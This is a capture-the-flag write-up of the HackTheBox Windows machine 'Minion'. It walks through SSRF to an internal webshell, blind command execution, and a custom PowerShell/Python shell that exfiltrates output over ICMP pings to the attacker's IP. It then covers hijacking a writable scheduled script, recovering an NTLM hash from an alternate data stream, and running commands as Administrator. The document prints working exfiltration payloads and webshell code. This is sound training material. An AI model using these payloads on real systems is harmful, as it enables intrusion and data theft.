Minion is four and a half years old, but it’s still really difficult. The steps themselves are not that hard, but the difficulty comes with the firewall that only allows ICMP out. So while I find a blind command execution relatively quickly, I’ll have to write my own shell using Python and PowerShell to exfil data over pings. The rest of the steps are also not hard on their own, just difficult to work through my ICMP shell. I’ll hijack a writable PowerShell script that runs on a schedule, and then find a password from the Administrator user in an alternative data stream on a backup file to get admin access.

## Box Info

Name Minion
Release Date 07 Oct 2017
Retire Date 31 Mar 2018
OS Windows
Base Points Insane [50]
Rated Difficulty
15 hours, 20 mins, 12 seconds
17 hours, 21 mins, 10 seconds
Creator

## Recon

### nmap

nmap finds a single open TCP port serving HTTP (62696):

oxdf@hacky$nmap -p- --min-rate 10000 -oA scans/nmap-alltcp 10.10.10.57 Starting Nmap 7.80 ( https://nmap.org ) at 2022-04-05 01:08 UTC Nmap scan report for 10.10.10.57 Host is up (0.091s latency). Not shown: 65534 filtered ports PORT STATE SERVICE 62696/tcp open unknown Nmap done: 1 IP address (1 host up) scanned in 13.69 seconds oxdf@hacky$ nmap -p 62696 -sCV -oA scans/nmap-tcpscripts 10.10.10.57
Starting Nmap 7.80 ( https://nmap.org ) at 2022-04-05 01:09 UTC
Nmap scan report for 10.10.10.57
Host is up (0.085s latency).

PORT      STATE SERVICE VERSION
62696/tcp open  http    Microsoft IIS httpd 8.5
| http-methods:
|_  Potentially risky methods: TRACE
| http-robots.txt: 1 disallowed entry
|_/backend
|_http-title: Site doesn't have a title (text/html).
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 14.63 seconds


Based on the IIS Version, the host is likely running Windows 8.1 or Server 2012 R2. nmap also notes the robots.txt.

### Website - TCP 80

#### Site

The site is a fan-club for the Minions:

The link is an external link to the author’s blog, and otherwise there’s not much here.

nmap did identify a robots.txt file. It identifies the /backend path:

User-agent: *
Disallow: /backend


Visiting that just returns:

HTTP/1.1 200 OK
Cache-Control: private
Content-Type: text/html
Vary: Accept-Encoding
Server: Microsoft-IIS/8.5
X-Powered-By: ASP.NET
Date: Tue, 05 Apr 2022 10:52:12 GMT
Connection: close
Content-Length: 20

Instance not running


Not much I can do with that. I’ll make sure to directory brute force in this path to see if it finds anything else.

#### Tech Stack

The response headers show not only that the server is IIS, but also that it’s ASP.NET:

HTTP/1.1 200 OK
Content-Type: text/html
Last-Modified: Tue, 05 Sep 2017 15:39:06 GMT
Accept-Ranges: bytes
ETag: "4cbddf1b5d26d31:0"
Vary: Accept-Encoding
Server: Microsoft-IIS/8.5
X-Powered-By: ASP.NET
Date: Tue, 05 Apr 2022 01:11:11 GMT
Connection: close
Content-Length: 458


Trying to guess the index, index.html, index.asp, and index.aspx all return 404 errors.

There is a comment in the HTML source:

<!--
TmVsIG1lenpvIGRlbCBjYW1taW4gZGkgbm9zdHJhIHZpdGENCm1pIHJpdHJvdmFpIHBlciB1bmEgc2VsdmEgb3NjdXJhLA0KY2jDqSBsYSBkaXJpdHRhIHZpYSBlcmEgc21hcnJpdGEu
-->


This just decodes to to the first three lines of Dante’s Inferno.

#### Directory Brute Force

I’ll run feroxbuster against the site, and include -x asp,aspx as I know it’s ASP, but I don’t know which extension. I’ll also use a all lowercase wordlist since Windows is case-insensitive:

oxdf@hacky$feroxbuster -u http://10.10.10.57:62696 -x asp,aspx -w /usr/share/seclists/Discovery/Web-Content/raft-medium-directories-lowercase.txt ___ ___ __ __ __ __ __ ___ |__ |__ |__) |__) | /  / \ \_/ | | \ |__ | |___ | \ | \ | \__, \__/ / \ | |__/ |___ by Ben "epi" Risher 🤓 ver: 2.5.0 ───────────────────────────┬────────────────────── 🎯 Target Url │ http://10.10.10.57:62696 🚀 Threads │ 50 📖 Wordlist │ /usr/share/seclists/Discovery/Web-Content/raft-medium-directories-lowercase.txt 👌 Status Codes │ [200, 204, 301, 302, 307, 308, 401, 403, 405, 500] 💥 Timeout (secs) │ 7 🦡 User-Agent │ feroxbuster/2.5.0 💲 Extensions │ [asp, aspx] 🏁 HTTP methods │ [GET] 🔃 Recursion Depth │ 4 🎉 New Version Available │ https://github.com/epi052/feroxbuster/releases/latest ───────────────────────────┴────────────────────── 🏁 Press [ENTER] to use the Scan Management Menu™ ────────────────────────────────────────────────── 200 GET 1l 7w 41c http://10.10.10.57:62696/test.asp 301 GET 2l 10w 156c http://10.10.10.57:62696/backend => http://10.10.10.57:62696/backend/ 200 GET 1l 3w 20c http://10.10.10.57:62696/backend/default.asp [####################] - 2m 159498/159498 0s found:3 errors:0 [####################] - 2m 79749/79749 491/s http://10.10.10.57:62696 [####################] - 2m 79749/79749 491/s http://10.10.10.57:62696/backend  It finds /backend, as well as default.asp inside that. default.asp is just the same “Instance not running” message. There’s also a test.asp in the root. #### test.asp Visiting test.asp returns an error: It’s suggesting I need to pass a URL (likely in the u parameter). When I try test.asp?u=http://10.10.14.6/, it returns a 500 error: This means the server crashed. When I try test.asp?u=http://10.10.10.57:62696/, it returns the Minions site: ## Shell as defaultapppool ### Blind RCE Via Admin Panel #### Fuzz for Open Ports It seems that test.asp cannot access pages on my host, but it can load pages from Minion itself. I’ll use wfuzz to try all ports, hiding any 500 responses with --hc 500: oxdf@hacky$ wfuzz -u http://10.10.10.57:62696/test.asp?u=http://10.10.10.57:FUZZ/ -z range,1-65535 --hc 500
********************************************************
* Wfuzz 2.4.5 - The Web Fuzzer                         *
********************************************************

Target: http://10.10.10.57:62696/test.asp?u=http://10.10.10.57:FUZZ/
Total requests: 65535

===================================================================
ID           Response   Lines    Word     Chars       Payload
===================================================================

000000080:   200        0 L      0 W      0 Ch        "80"
000005985:   200        0 L      0 W      0 Ch        "5985"
000047001:   200        0 L      0 W      0 Ch        "47001"
000062696:   200        13 L     37 W     458 Ch      "62696"

Total time: 7341.232
Processed Requests: 65535
Filtered Requests: 65531
Requests/sec.: 8.926974


This takes a long time to run completely, but it doesn’t take long to find port 80. Still, it’s an empty (0 character response. I’ll try the same scan, but this time using 127.0.0.1 instead of 10.10.10.57:

oxdf@hacky$wfuzz -u http://10.10.10.57:62696/test.asp?u=http://127.0.0.1:FUZZ/ -z range,1-65535 --hc 5 00 ******************************************************** * Wfuzz 2.4.5 - The Web Fuzzer * ******************************************************** Target: http://10.10.10.57:62696/test.asp?u=http://127.0.0.1:FUZZ/ Total requests: 65535 =================================================================== ID Response Lines Word Chars Payload =================================================================== 000000080: 200 12 L 25 W 323 Ch "80" 000005985: 200 0 L 0 W 0 Ch "5985" 000047001: 200 0 L 0 W 0 Ch "47001" 000062696: 200 13 L 37 W 458 Ch "62696" Total time: 7341.611 Processed Requests: 65535 Filtered Requests: 65531 Requests/sec.: 8.926514  This time the response is not empty. Both scan also find WinRM-related ports (5985 and 470001). #### Site Administration The site on localhost is titled Site Administration: It’s a bit strange that the first four links show as visited given I’ve never been to this site before. That’s because they each lead to the current location, http://10.10.10.57:62696/test.asp?u=http://127.0.0.1:80/. The last one is different, leading to http://127.0.0.1/cmd.aspx. Clicking that will lead my browser to try to load cmd.aspx off my host, which doesn’t exist. But I can visit it via test.asp, and it presents a simple webshell: #### Interacting with Webshell Typing “whoami” into the field and hitting enter returns an error: Looking for closely at the previous page source, it’s super simple: <html> <body> <form action="cmd.aspx" method=POST> <p>Enter your shell command: <input type=text name=xcmd size=40> </form> </body> </html>  The action is a POST to cmd.aspx, and since the full path isn’t given, that targets http://10.10.10.57:62696/cmd.aspx, which doesn’t exist. It’s also sending a parameter named xcmd. I can see this in my failed request in Burp as well: POST /cmd.aspx HTTP/1.1 Host: 10.10.10.57:62696 User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:98.0) Gecko/20100101 Firefox/98.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Referer: http://10.10.10.57:62696/ Content-Type: application/x-www-form-urlencoded Content-Length: 11 Connection: close Cookie: ASPSESSIONIDACQBQRTB=GEFBPLMBLIENILKPDIEMHAFA; ASPSESSIONIDCCSDSSRA=LKPPKPACGFAOPJNAIOFNFBOD; ASPSESSIONIDAASCSSQA=FECBOJBCDDJHILMFPBADGLND Upgrade-Insecure-Requests: 1 xcmd=whoami  I can hope that this webshell accepts GET requests as well as post requests and put the parameter in the URL, and it works, kind of: If I change whoami to something that doesn’t exist as a command like 0xdf, it returns “Exit Status=1”. This fits, as a successful command typically returns 0, and otherwise shows an error. So I have probably code execution, but it’s blind. ### Connect Back Enumeration When I think have blind execution, the first thing to verify it’s actually executing is to ping my host and watch for it on tcpdump. I’ll start it, and visit http://10.10.10.57:62696/test.asp?u=http://127.0.0.1:80/cmd.aspx?xcmd=ping%20-n%201%2010.10.14.6. tcpdump sees the ICMP packet: oxdf@hacky$ sudo tcpdump -ni tun0 icmp
tcpdump: verbose output suppressed, use -v or -vv for full protocol decode
listening on tun0, link-type RAW (Raw IP), capture size 262144 bytes
21:28:11.313557 IP 10.10.10.57 > 10.10.14.6: ICMP echo request, id 1, seq 268, length 40
21:28:11.313630 IP 10.10.14.6 > 10.10.10.57: ICMP echo reply, id 1, seq 268, length 40


Next I’ll try to connect back with an HTTP request. I’ll start a Python webserver, and pass powershell -c '(new-object new.webclient).downloadstring("http://10.10.14.6")' as xcmd, but there’s no connection. I’ll a bunch of other ports and other ways, but nothing will connect back to me except for ICMP.

### Shell over HTTP/ICMP

I’m going to write a Python script that will help me leak data and enumerate this host. I’m also going to need a short Powershell blob that will:

• run a command
• capture the results
• break the results into parts
• send the results back in ICMP packets

The Python script will:

• take the input command and build the PowerShell with it
• submit that PowerShell via the webshell
• capture ICMP packets from Minion
• extract the data from the packet and print it to the screen

Scapy is a Python packet utility that can craft and sniff packets. I’ll use Scopy to handle the ICMP, and Python Cmd to make the script feel like a shell. It won’t have persistence between commands (I can’t cd for example), but otherwise it works pretty well. This video shows the process of creating it:

The full script it here, and it runs like:

oxdf@hacky$sudo python icmp_shell.py minion> whoami iis apppool\defaultapppool minion> pwd Path ---- C:\windows\system32\inetsrv minion> ls Directory: C:\windows\system32\inetsrv Mode LastWriteTime Length Name ---- ------------- ------ ---- d---- 8/10/2017 9:31 AM config d---- 8/10/2017 9:31 AM en d---- 8/10/2017 9:41 AM en-US -a--- 10/28/2014 7:26 PM 121344 appcmd.exe ...[snip]...  ## Execution as decoder.MINION ### Enumeration #### Users / Home Dirs The only user that looks to be a real account is decoder.MINION, making it the likely owner of user.txt: Minion> ls \users\ Directory: C:\users Mode LastWriteTime Length Name ---- ------------- ------ ---- d---- 8/10/2017 9:43 AM .NET v2.0 d---- 8/10/2017 9:43 AM .NET v2.0 Classic d---- 8/10/2017 9:32 AM .NET v4.5 d---- 8/10/2017 9:32 AM .NET v4.5 Classic d---- 9/22/2017 11:33 AM Administrator d---- 8/10/2017 9:43 AM Classic .NET AppPool d---- 9/22/2017 11:36 AM decoder.MINION d-r-- 8/22/2013 8:39 AM Public  I can’t access anything in that directory or the Administrator directory from this shell. #### Web I can check out the web directories. C:\inetpub\wwwroot\cmd.aspx shows how it runs a command: <%@ Page Language="VB" Debug="true" %> <%@ import Namespace="system.IO" %> <%@ import Namespace="System.Diagnostics" %> <script runat="server"> Function RunCmd(command) Dim res as integer Dim myProcess As New Process() Dim myProcessStartInfo As New ProcessStartInfo("c:\windows\system32\cmd.exe") myProcessStartInfo.UseShellExecute = false myProcessStartInfo.RedirectStandardOutput = true myProcess.StartInfo = myProcessStartInfo myProcessStartInfo.Arguments="/c " + command myProcess.Start() Dim myStreamReader As StreamReader = myProcess.StandardOutput Dim myString As String = myStreamReader.Readtoend() res=myProcess.ExitCode myProcess.Close() RunCmd= res End Function </script> <html> <body> <% dim t as integer if request("xcmd") <> "" then t=RunCmd(request("xcmd")) response.write("Exit Status=" &t) end if %> <form action="cmd.aspx" method=POST> <p>Enter your shell command: <input type=text name=xcmd size=40> </form> </body> </html>  Not much else I can do with that now. I’ll notice that test.asp isn’t in the C:\inetpub\wwwroot directory. It’s actually in C:\inetpub\public: Minion> ls -path \inetpub -Filter test.asp -recurse -erroraction silent Directory: C:\inetpub\public Mode LastWriteTime Length Name ---- ------------- ------ ---- -a--- 8/10/2017 11:22 AM 463 test.asp  So C:\inetpub\public seems to be the server on port 62696, and C:\inetpub\wwwroot is the one on 80 listening only on localhost. This file does just what I thought, creating an Msxml2.ServerXMLHTTP object and using it to make a request, and returning the page: <% dim objHttp,strURL if request("u") = "" then response.write "Missing Parameter Url [u] in GET request!" else set objHttp = server.CreateObject("Msxml2.ServerXMLHTTP") strURL = Request("u") objHttp.open "GET", strURL, False objHttp.Send If objHttp.status = 200 Then Response.Expires = 90 Response.ContentType = Request("mimeType") Response.BinaryWrite objHttp.responseBody set objHttp = Nothing End If end if %>  #### sysadmscripts In the root of the file system there’s an atypical directory, sysadmscripts: Minion> ls \ Directory: C:\ Mode LastWriteTime Length Name ---- ------------- ------ ---- d---- 9/4/2017 7:42 PM accesslogs d---- 8/10/2017 10:43 AM inetpub d---- 8/22/2013 8:52 AM PerfLogs d-r-- 2/21/2022 10:47 AM Program Files d---- 8/10/2017 9:42 AM Program Files (x86) d---- 8/24/2017 1:28 AM sysadmscripts d---- 9/16/2017 2:41 AM temp d-r-- 9/4/2017 7:41 PM Users d---- 2/21/2022 11:02 AM Windows  It’s got two files in it: Minion> ls \sysadmscripts Directory: C:\sysadmscripts Mode LastWriteTime Length Name ---- ------------- ------ ---- -a--- 9/26/2017 6:24 AM 284 c.ps1 -a--- 8/22/2017 10:46 AM 263 del_logs.bat  del_logs.bat takes three actions: @echo off echo %DATE% %TIME% start job >> c:\windows\temp\log.txt C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -windowstyle hidden -exec bypass -nop -file c:\sysadmscripts\c.ps1 c:\accesslogs echo %DATE% %TIME% stop job >> c:\windows\temp\log.txt  It writes start time to C:\windows\temp\log.txt, it runs c.ps1 with the argument c:\accesslogs, and then it writes the stop time to log.txt. It doesn’t seem that I can read the log.txt file, but the last write time was 4.5 minutes ago: Minion> ls \windows\temp\log.txt Directory: C:\windows\temp Mode LastWriteTime Length Name ---- ------------- ------ ---- -a--- 4/6/2022 7:36 PM 214690 log.txt Minion> date Wednesday, April 6, 2022 7:40:31 PM  After another minute or two, the time is updated: Minion> ls \windows\temp\log.txt Directory: C:\windows\temp Mode LastWriteTime Length Name ---- ------------- ------ ---- -a--- 4/6/2022 7:41 PM 214729 log.txt  This indicates del_logs.bat is running every 5 minutes. c.ps1 is a simple loop, taking the folder as an argument, getting only files (psiscontainer returns true for directories, but not files), and then deleting them if they are older than one day: $lifeTime=1; # days

foreach($arg in$args)
{
write-host $arg dir$arg | where {!$_.psiscontainer} | foreach { if((get-date).subtract($_.LastWriteTime).Days -gt $lifeTime) { remove-item ($arg + '\' + $_) -force } } }  Looking at the permissions on these files, del_logs.bat seems relatively locked down, but c.ps1 is world-writable: Minion> icacls \sysadmscripts\* \sysadmscripts\c.ps1 NT AUTHORITY\SYSTEM:(F) BUILTIN\Administrators:(F) Everyone:(F) BUILTIN\Users:(F) \sysadmscripts\del_logs.bat NT AUTHORITY\SYSTEM:(F) BUILTIN\Administrators:(F) Everyone:(RX) BUILTIN\Users:(RX)  ### Enumerate Via c.ps1 #### Strategy This is where some design decisions I made with my shell make this a bit harder. My shell is based on asynchronous comms, in the sense that commands are sent up via HTTP, and then back over ICMP. I know others who solved this box uploaded PowerShell over the HTTP webshell that ran continuously, getting new commands from the ICMP replies. If I had used that strategy here, I could just put that same PowerShell in c.ps1 and get that same ICMP shell. I’ll consider making changes to my shell. If I didn’t want to go all the way to ICMP tasking, I could run PowerShell that constantly reads from a file, executing commands in it and sending back results over ICMP, and then have commands I type use HTTP to write to that file. #### decoder Desktop Before I get to code changes, I’ll do some really basic enumeration, starting with the home directory of decoder.MINION. Noticing that the next run was less than 30 seconds away, I’ll backup the original c.ps1 and update the original to list the files on decoder.MINION’s desktop, where I expect to find user.txt: Minion> copy \sysadmscripts\c.ps1 \sysadmscripts\c.ps1.bak Minion> echo 'dir C:\users\decoder.minion\desktop > C:\programdata\0xdf' > \sysadmscripts\c.ps1  After that runs, there’s data in \programdata\0xdf: Minion> cat \programdata\0xdf Directory: C:\users\decoder.minion\desktop Mode LastWriteTime Length Name ---- ------------- ------ ---- -a--- 9/4/2017 7:19 PM 103297 backup.zip -a--- 8/25/2017 11:09 AM 33 user.txt  I’ll copy both those files to somewhere I can read: Minion> echo 'copy C:\users\decoder.minion\desktop\* C:\programdata\' > \sysadmscripts\c.ps1  Once that runs, I can read user.txt: Minion> type \programdata\user.txt 40b949f9************************  ## Shell as Administrator ### backup.zip #### Exfil Fails My first thought was to get this off the server by copying it into one of the web directories, and then downloading it. I believe that the web user doesn’t have write access to these folders, as they all failed: Minion> copy C:\programdata\backup.zip C:\inetpub\public\backend\backup.zip Minion> copy C:\programdata\backup.zip C:\inetpub\public\backup.zip Minion> copy C:\programdata\backup.zip C:\inetpub\wwwroot\backup.zip  The file is also too large to base64 encode and copy off. #### Extract on Minion Given that, I’ll enumerate the file on Minion. Today I would use Expand-Archive to extract the file, but that isn’t present on this host. It’s running PowerShell version 4, and that commandlet came in 5: Minion> Get-Host | Select-Object Version Version ------- 4.0  Instead, I can use the answer from this StackOverflow post: Minion> Add-Type -AssemblyName System.IO.Compression.FileSystem; [System.IO.Compression.ZipFile]::ExtractToDirectory('C:\programdata\backup.zip', 'C:\programdata\')  There’s now a secret.exe file in C:\programdata. Running it just prints the current directory: Minion> \programdata\secret.exe Current directory is: C:\windows\system32\inetsrv  I was considering a Beyond Root section opening this ins Ghidra, but on opening it, it’s clear there’s not much there. The entire main function is: int main(int _Argc,char **_Argv,char **_Env) { CHAR local_118 [268]; DWORD local_c; __main(); local_c = GetCurrentDirectoryA(0x104,local_118); printf("Current directory is: %s\n",local_118); return 0; }  #### ADS The above executable is actually a bit of a rabbit hole, but there’s more to backup.zip. It has an alternative data stream (ADS) in the file. I’ve dealt with ADS before, but not in a while, most recently in Nest. I can show ADS with dir in cmd using the /R switch: Minion> cmd /C dir /R \programdata\backup.zip Volume in drive C has no label. Volume Serial Number is F4AB-8486 Directory of C:\programdata 09/04/2017 07:19 PM 103,297 backup.zip 34 backup.zip:pass:$DATA
1 File(s)        103,297 bytes
0 Dir(s)   3,758,153,728 bytes free


Alternatively, Get-Item with -Streams will also get it in PowerShell:

Minion> Get-Item \programdata\backup.zip -stream *

FileName: C:\programdata\backup.zip

Stream                   Length
------                   ------
:$DATA 103297 pass 34  There’s a 34-byte stream called pass on this file. Specifying the stream name, I’ll dump the data, and see it’s a hash: Minion> cat \programdata\backup.zip -stream pass 28a5d1e0c15af9f8fce7db65d75bbf17  Dropping that hash in to CrackStation, it identifies it as an NTLM hash, and returns the password, “1234test”: Click for full size image ### Filesystem as Administrator I’ll check if these creds work for the administrator with net use, mounting the c$ share:

Minion> net use \\localhost\c$/u:minion\administrator 1234test The command completed successfully.  Through this share I can read the administrator’s desktop: Minion> dir \\localhost\c$\users\administrator\desktop

Directory: \\localhost\c$\users\administrator\desktop Mode LastWriteTime Length Name ---- ------------- ------ ---- -a--- 9/26/2017 6:18 AM 386479 root.exe -a--- 8/24/2017 12:32 AM 76 root.txt  Right away I notice the root.txt is the wrong size. It’s a message: Minion> cat \\localhost\c$\users\administrator\desktop\root.txt
In order to get the flag you have to launch root.exe located in this folder!


This step is put in place to exactly prevent what I’m trying to do. In order to get the flag, I’ll need to get execution as Administrator, not just read access to the desktop.

### Update Shell

I’ll copy my icmp_shell.py script and make some small changes to the PowerShell that is run via the webshell. The previous one looked like this (with added whitespace for readability):

$cmd="{cmd}"$s=1000
$ip='10.10.14.6'$r=[System.Text.Encoding]::ASCII.GetBytes((iex -command $cmd 2>&1|out-string))$ping=New-Object System.Net.NetworkInformation.Ping
$opts=New-Object System.Net.NetworkInformation.PingOptions$opts.DontFragment=$true$i=0
while ($i -lt$r.length) {
$ping.send($ip,5000,$r[$i..($i+$s)],$opts)$i=$i+$s
}


It takes a command and runs it using iex (short for Invoke-Expression). I’ll update that to:

$s=1000$ip='10.10.14.6'
$pass="1234test"|ConvertTo-SecureString -AsPlainText -Force$cred=New-Object System.Management.Automation.PSCredential("minion\\administrator", $pass)$r=[System.Text.Encoding]::ASCII.GetBytes((invoke-command -computername localhost -credential $cred -scriptblock {{ {cmd} }}|out-string))$ping=New-Object System.Net.NetworkInformation.Ping
$opts=New-Object System.Net.NetworkInformation.PingOptions$opts.DontFragment=$true$i=0
while ($i -lt$r.length) {
$ping.send($ip,5000,$r[$i..($i+$s)],$opts)$i=$i+$s
}


This one instead creates a PSCredential object with the Administrator’s creds, and then uses Invoke-Command to run a command as Administrator.

With the new shell, commands are executed as administrator:

oxdf@hacky$sudo python icmp_shell_admin.py Minion> whoami minion\administrator  If I try to run root.txt from any random directory, it accuses me of cheating: Minion> \users\administrator\desktop\root.exe Are you trying to cheat me?  So I’ll cd into the desktop dir and run it and get the flag: Minion> cd \users\administrator\desktop\; .\root.exe 25afc18b***********************1  ### Alternative Flag Recovery via RE #### Exfil With filesystem access, I’ll copy root.txt to the public webserver folder: Minion> copy \\localhost\c$\users\administrator\desktop\root.exe \\localhost\c\$\inetpub\public\


It’s important to note that both paths are via the share. Now I can download it from http://10.10.10.57/root.exe.

#### Ghidra

I’ll load the file into Ghidra, let it analyze, and then find main. The decompile isn’t great, but it’s good enough that I can figure out what’s going on:

Click for full size image

1. It’s getting the current directory
2. Compare the current directory to C:\users\administrator\desktop
3. If it doesn’t match, print “Are you trying to cheat me?” and exit.
4. Call encryptDecrypt, taking in a weird string and maybe some other stuff (but maybe not?).
5. Print “1”

Looking at encryptDecrypt, as I suspected, only the first param1 is even referenced. I’ll edit the function signature to make it look better

This one is very simple, and the decompile is good:

It’s just looping over the input string, adding 3 to each byte, and printing that character.

I can generate that myself in a Python terminal:

>>> x = '/2^c.5_423a_.2-521/5-.26/5^.c'
>>> ''.join([chr(ord(c)+3) for c in x])
'25afc18b756db15085428015928a1cf'


The result is 31 characters, one short of a typically HTB flag:

>>> len(''.join([chr(ord(c)+3) for c in x]))
31


But I’ll remember a 1 is printed in main, so the flag is:

>>> ''.join([chr(ord(c)+3) for c in x]) + '1'
'25afc18b************************'
`